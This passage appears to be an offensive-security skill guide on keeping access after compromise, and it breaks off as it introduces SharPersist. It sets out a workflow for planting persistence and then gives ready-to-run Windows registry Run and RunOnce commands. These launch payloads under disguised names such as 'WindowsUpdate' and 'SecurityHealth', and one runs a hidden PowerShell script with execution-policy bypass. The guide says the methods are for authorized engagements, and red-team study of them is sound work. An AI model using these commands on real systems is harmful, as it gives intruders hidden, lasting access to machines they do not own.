offensive-persistence

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.

Quick Workflow

1. Assess your current privilege level (user-level vs admin/root vs domain admin).
2. Identify the target OS version and security controls in place.
3. Select a persistence mechanism matching your access level and stealth needs.
4. Validate the persistence survives a reboot or logoff event.
5. Document the exact mechanism and location for cleanup during engagement close.
6. Layer multiple persistence methods at different privilege levels when scope allows.
7. Prefer reversible methods that you can fully remove during remediation.

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Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience: